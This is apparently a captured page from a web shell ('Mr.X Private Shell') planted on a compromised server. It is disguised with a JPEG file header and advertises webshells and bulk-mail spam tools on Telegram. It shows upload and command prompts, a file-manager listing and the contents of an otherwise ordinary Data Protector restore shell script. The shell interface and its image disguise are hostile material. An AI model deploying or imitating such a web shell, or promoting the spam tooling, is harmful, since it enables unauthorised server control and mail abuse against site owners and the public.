����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

antiaginglove@216.73.216.231: ~ $
# 400_restore_with_dp.sh
# Purpose: Restore script to restore file systems with Data Protector

# /opt/omni/bin/omnidb -filesystem test.internal.it3.be:/ '/' -latest -detail
#
#SessionID     : 2008/12/24-1
#	Started            : wo 24 dec 2008 11:42:21 CET
#	Finished           : wo 24 dec 2008 11:54:52 CET
#	Object status      : Completed
#	Object size        : 2043947 KB
#	Backup type        : Full
#	Protection         : Protected for 2 days
#	Catalog retention  : Protected permanently
#	Access             : Private
#	Number of warnings : 3
#	Number of errors   : 0
#	Device name        : DDS4
#	Backup ID          : n/a
#	Copy ID            : 20 (Orig)

# The list of file systems to restore is listed in file ${TMP_DIR}/list_of_fs_objects
# per line we have something like: test.internal.it3.be:/ '/'

[ -f ${TMP_DIR}/DP_GUI_RESTORE ] && return # GUI restore explicitly requested

OMNIR=/opt/omni/bin/omnir
echo -n ${OMNIR} > ${TMP_DIR}/restore_cmd

# we will loop over all objects listed in ${TMP_DIR}/list_of_fs_objects
cat ${TMP_DIR}/list_of_fs_objects | while read object
do
	host_fs=`echo ${object} | awk '{print $1}'`
	fs=`echo ${object} | awk '{print $1}' | cut -d: -f 2`
	label=`echo "${object}" | cut -d"'" -f 2`
	# only retain the latest backup which was completed successfully
	if grep -q "^${fs} " ${VAR_DIR}/recovery/mountpoint_device; then
		LogPrint "Filesystem ${object} added to restore command"
		SessionID=`cat ${TMP_DIR}/dp_recovery_session`
		# append objects to restore command
		echo -n " -filesystem ${host_fs} '${label}' -session ${SessionID} -full -omit_unrequired_object_versions -no_resumable -overwrite -tree ${fs} -into $TARGET_FS_ROOT -sparse -target `hostname`" >> ${TMP_DIR}/restore_cmd
	fi
done

# parallel restore of all objects previously collected
LogPrint "Parallel restore of backup objects started. See Data Protector GUI for restore progress."
chmod 755 ${TMP_DIR}/restore_cmd
${TMP_DIR}/restore_cmd

case $? in
	0)  LogPrint "Restore was successful." ;;
	10) LogPrint "Restore finished with warnings." ;;
	*)  LogPrint "Restore failed."
		> ${TMP_DIR}/DP_GUI_RESTORE
		;;
esac

Filemanager

Name Type Size Permission Actions
300_create_dp_restore_fs_list.sh File 1.19 KB 0644
400_restore_with_dp.sh File 2.08 KB 0644
450_restore_via_gui.sh File 842 B 0644
460_press_y_to_continue.sh File 612 B 0644